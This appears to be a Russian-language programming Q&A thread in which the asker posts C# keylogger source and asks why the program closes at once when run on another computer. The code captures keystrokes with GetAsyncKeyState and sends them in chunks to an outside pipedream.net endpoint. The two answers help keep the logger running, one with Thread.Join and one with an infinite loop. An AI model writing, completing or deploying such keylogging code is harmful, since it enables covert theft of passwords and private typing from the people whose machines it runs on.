Почему закрывается? - PullRequest
       44

Почему закрывается?

0 голосов
/ 07 мая 2020

Итак, я делаю кейлоггер, создаю его и запускаю на своем другом компьютере, чтобы проверить, но он сразу закрылся, поэтому я попытался добавить Console.ReadLine();, который не работал, затем я попробовал Console.ReadKey(); не

Я хочу, чтобы, когда вы нажимаете кнопку закрытия, он не закрывается никаким другим способом, используя чертову клавишу, это бог KeyLogger dan git

Кстати, он отлично открывается в Visual Studio

Вот код:

using System.Threading;
using System.Runtime.InteropServices;
using System.Net;

namespace Program
{
    class Program
    {
        public bool islogging = false;
        public string loggedData = "";
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int key);

        public void logKeyStrokes()
        {
            this.islogging = true;
            int key;
            while (this.islogging)
            {
                for (key = 8; key < 190; key++)
                {
                    if (GetAsyncKeyState(key) == -32767)
                    {
                        this.checkKeys(key);
                    }
                }
            }
        }

        public void checkKeys(int keyCode)
        {
            switch (keyCode)
            {
                case 8:
                    if (!string.IsNullOrEmpty(this.loggedData))
                    {
                        this.loggedData = this.loggedData.Substring(0, this.loggedData.Length - 1);
                    }
                    break;
                case 9:
                    this.loggedData += "    ";
                    break;
                case 13:
                    this.loggedData += " [ENTER] ";
                    break;
                case 16:
                    this.loggedData += " [SHIFT] ";
                    break;
                default:
                    this.loggedData += (char)keyCode;
                    break;
            }

            if (this.loggedData.Length >= 14)
            {
                HttpWebRequest req = (HttpWebRequest)WebRequest.Create("https://noneofyourfuckingbusiness.x.pipedream.net?" + this.loggedData);
                req.GetResponse();
                this.loggedData = "";
            }
        }
        public void threadKeyLogging()
        {
            new Thread(new ThreadStart(this.logKeyStrokes)).Start();
        }
        public static void Main()
        {
            Program p = new Program();
            p.threadKeyLogging();
            Console.WriteLine("");
        }
    }
}

Ответы [ 2 ]

1 голос
/ 07 мая 2020

Не уверен, что это лучший способ делать то, что вы хотите (потому что это как бы побеждает цель запуска нового потока, если мы только запускаем его, а затем ждем его завершения sh), но если вы хотите дождаться завершения потока, вы можете Join это, что заблокирует текущий поток, пока не будет завершен объединенный:

public void threadKeyLogging()
{
    var t = new Thread(this.logKeyStrokes);
    t.Start();
    t.Join();
}
0 голосов
/ 07 мая 2020

Вы можете добавить бесконечный l oop в конце вашего Main

public static void Main()
{
    Program p = new Program();
    p.threadKeyLogging();
    Console.WriteLine(""); //<- don't know why you have this line

    while (true);
}
...